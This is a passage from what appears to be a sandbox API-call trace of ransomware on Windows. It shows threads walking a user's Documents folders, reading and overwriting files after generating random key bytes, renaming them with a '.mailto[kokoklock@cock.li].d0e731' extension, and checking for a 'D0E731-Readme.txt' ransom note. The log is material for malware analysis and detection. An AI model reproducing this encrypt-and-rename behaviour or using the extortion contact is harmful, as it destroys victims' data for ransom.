out: Seed=0x239bfe18) returned 0x381a57a5 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0xe9992f51 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x3eca2b77 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x29d29341 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x51c7fe71 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0xb97f0975 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x16261df8 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x71317aef [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x71cc7f67 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x45522cbc [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x84395f2 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x7df3f827 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0xb1fde238 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x81911f6 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0xc7f78e0 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0xfb5ebd59 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x91e7dfa7 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x8b521923 [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0xe9b7d92d [0079.880] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x6f9ba8f9 [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0xed94409b [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x95ee0e0c [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x91a3eaed [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x25476ad2 [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x18d2f2c2 [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0xfe0bc9e6 [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x6cc301e7 [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x9076bf8d [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x96b7de10 [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0x143b5fe3 [0079.881] RtlRandom (in: Seed=0x239bfe18 | out: Seed=0x239bfe18) returned 0xf55e6d08 [0079.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.892] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.892] ReadFile (in: hFile=0x5cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x239bfde4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x239bfde4*=0x4096, lpOverlapped=0x0) returned 1 [0079.892] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.893] WriteFile (in: hFile=0x5cc, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x239bfde4, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x239bfde4*=0x4096, lpOverlapped=0x0) returned 1 [0079.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.893] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x183e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.894] WriteFile (in: hFile=0x5cc, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x239bfe1c, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x239bfe1c*=0x20, lpOverlapped=0x0) returned 1 [0079.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.894] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x239bfe30, lpOverlapped=0x0 | out: lpBuffer=0x3491d58*, lpNumberOfBytesWritten=0x239bfe30*=0x8, lpOverlapped=0x0) returned 1 [0079.894] WriteFile (in: hFile=0x5cc, lpBuffer=0x239bfe48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x239bfe30, lpOverlapped=0x0 | out: lpBuffer=0x239bfe48*, lpNumberOfBytesWritten=0x239bfe30*=0x4, lpOverlapped=0x0) returned 1 [0079.894] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x239bfe30, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x239bfe30*=0x4, lpOverlapped=0x0) returned 1 [0079.894] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x239bfe30, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x239bfe30*=0x6c, lpOverlapped=0x0) returned 1 [0079.894] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x239bfe30, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x239bfe30*=0x20, lpOverlapped=0x0) returned 1 [0079.894] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x239bfe30, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x239bfe30*=0x4, lpOverlapped=0x0) returned 1 [0079.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d30) returned 1 [0079.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d58) returned 1 [0079.894] CloseHandle (hObject=0x5cc) returned 1 [0079.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe0) returned 0x3433690 [0079.894] wcscpy (in: _Dest=0x3433690, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx" [0079.895] wcscat (in: _Dest=0x3433690, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731" [0079.895] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\yuvtibl5ozeq68g.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\yuvtibl5ozeq68g.docx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.895] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433690) returned 1 [0079.896] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx", dwFileAttributes=0x20) returned 0 [0079.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6e58 [0079.896] wcscpy (in: _Dest=0x33e6e58, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0079.896] wcscat (in: _Dest=0x33e6e58, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt" [0079.896] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\d0e731-readme.txt")) returned 0x20 [0079.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6e58) returned 1 [0079.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e65d0) returned 1 [0079.896] RtlExitUserThread (Status=0x1) Thread: id = 986 os_tid = 0x166c [0079.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x347edf8 [0079.897] wcscpy (in: _Dest=0x347edf8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9" [0079.897] wcscat (in: _Dest=0x347edf8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\" [0079.897] wcscat (in: _Dest=0x347edf8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\*" [0079.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ac550 [0079.897] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\*", lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d79b030, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x6f719a20, ftLastAccessTime.dwHighDateTime=0x1d4cfa0, ftLastWriteTime.dwLowDateTime=0x6f719a20, ftLastWriteTime.dwHighDateTime=0x1d4cfa0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0258 [0079.898] wcscmp (_String1=".", _String2=".") returned 0 [0079.898] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d79b030, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x6f719a20, ftLastAccessTime.dwHighDateTime=0x1d4cfa0, ftLastWriteTime.dwLowDateTime=0x6f719a20, ftLastWriteTime.dwHighDateTime=0x1d4cfa0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.898] wcscmp (_String1="..", _String2=".") returned 1 [0079.898] wcscmp (_String1="..", _String2="..") returned 0 [0079.898] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d79b030, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x6f719a20, ftLastAccessTime.dwHighDateTime=0x1d4cfa0, ftLastWriteTime.dwLowDateTime=0x6f719a20, ftLastWriteTime.dwHighDateTime=0x1d4cfa0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.898] FindClose (in: hFindFile=0x33e0258 | out: hFindFile=0x33e0258) returned 1 [0079.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ac550) returned 1 [0079.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347edf8) returned 1 [0079.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccaf0) returned 1 [0079.898] RtlExitUserThread (Status=0x0) Thread: id = 987 os_tid = 0x1670 [0079.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x347edf8 [0079.899] wcscpy (in: _Dest=0x347edf8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" [0079.899] wcscat (in: _Dest=0x347edf8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\" [0079.899] wcscat (in: _Dest=0x347edf8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\*" [0079.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aca20 [0079.899] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\*", lpFindFileData=0x34aca20 | out: lpFindFileData=0x34aca20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd04ebd0, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0xfff363a0, ftLastAccessTime.dwHighDateTime=0x1d4c904, ftLastWriteTime.dwLowDateTime=0xfff363a0, ftLastWriteTime.dwHighDateTime=0x1d4c904, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0258 [0079.899] wcscmp (_String1=".", _String2=".") returned 0 [0079.899] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x34aca20 | out: lpFindFileData=0x34aca20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd04ebd0, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0xfff363a0, ftLastAccessTime.dwHighDateTime=0x1d4c904, ftLastWriteTime.dwLowDateTime=0xfff363a0, ftLastWriteTime.dwHighDateTime=0x1d4c904, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.900] wcscmp (_String1="..", _String2=".") returned 1 [0079.900] wcscmp (_String1="..", _String2="..") returned 0 [0079.900] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x34aca20 | out: lpFindFileData=0x34aca20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30cf71f0, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0xca240f80, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0xca240f80, ftLastWriteTime.dwHighDateTime=0x1d4d49a, nFileSizeHigh=0x0, nFileSizeLow=0xbc3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="h UzjVUzQUyZCzzN5GKb.pdf", cAlternateFileName="HUZJVU~1.PDF")) returned 1 [0079.900] wcscmp (_String1="h UzjVUzQUyZCzzN5GKb.pdf", _String2=".") returned 1 [0079.900] wcscmp (_String1="h UzjVUzQUyZCzzN5GKb.pdf", _String2="..") returned 1 [0079.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3428588 [0079.900] wcscpy (in: _Dest=0x3428588, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" [0079.900] wcscat (in: _Dest=0x3428588, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\" [0079.900] wcscat (in: _Dest=0x3428588, _Source="h UzjVUzQUyZCzzN5GKb.pdf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf" [0082.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0082.978] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x34aca20 | out: lpFindFileData=0x34aca20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30cf71f0, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0xca240f80, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0xca240f80, ftLastWriteTime.dwHighDateTime=0x1d4d49a, nFileSizeHigh=0x0, nFileSizeLow=0xbc3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="h UzjVUzQUyZCzzN5GKb.pdf", cAlternateFileName="HUZJVU~1.PDF")) returned 0 [0082.978] FindClose (in: hFindFile=0x33e0258 | out: hFindFile=0x33e0258) returned 1 [0082.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aca20) returned 1 [0082.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347edf8) returned 1 [0082.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cccf0) returned 1 [0082.978] RtlExitUserThread (Status=0x0) Thread: id = 988 os_tid = 0x1674 [0079.900] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\kk8us_wy.docx")) returned 0x20 [0079.901] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx", dwFileAttributes=0x20) returned 1 [0079.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\kk8us_wy.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0079.901] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x23b3f73c | out: lpFileSize=0x23b3f73c*=48256) returned 1 [0079.901] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xbc7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.901] ReadFile (in: hFile=0x440, lpBuffer=0x23b3f710, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23b3f70c, lpOverlapped=0x0 | out: lpBuffer=0x23b3f710*, lpNumberOfBytesRead=0x23b3f70c*=0x4, lpOverlapped=0x0) returned 1 [0079.901] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0079.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f10 [0079.901] NtQuerySystemTime (in: CurrentTime=0x23b3f6e8 | out: CurrentTime=0x23b3f6e8*=132121176377979775) returned 0x0 [0079.901] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x9239fd29 [0079.901] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x794b7e94 [0079.901] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0xaad02624 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x98e8eb47 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x9916272b [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0xa960c570 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0xb41a7774 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x5cc33eb3 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x8c078310 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x5a4daf0 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x5019fa91 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x5e139614 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x1cc5c350 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x51223090 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x933de38c [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x1f1449d9 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0xaa725ebf [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x7e0a977c [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x8dec4238 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0xd05d6846 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0xbf2628a4 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x505fe396 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0xd8bff8db [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x5ba8ab64 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x790a3869 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x4b8104e3 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x2cb2ace7 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0xf872bc93 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x60545385 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x17afc678 [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0xddc02be [0079.902] RtlRandom (in: Seed=0x23b3f6f4 | out: Seed=0x23b3f6f4) returned 0x430a6cea [0079.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0079.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.913] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.914] ReadFile (in: hFile=0x440, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23b3f6c0, lpOverlapped=0x0 | out: 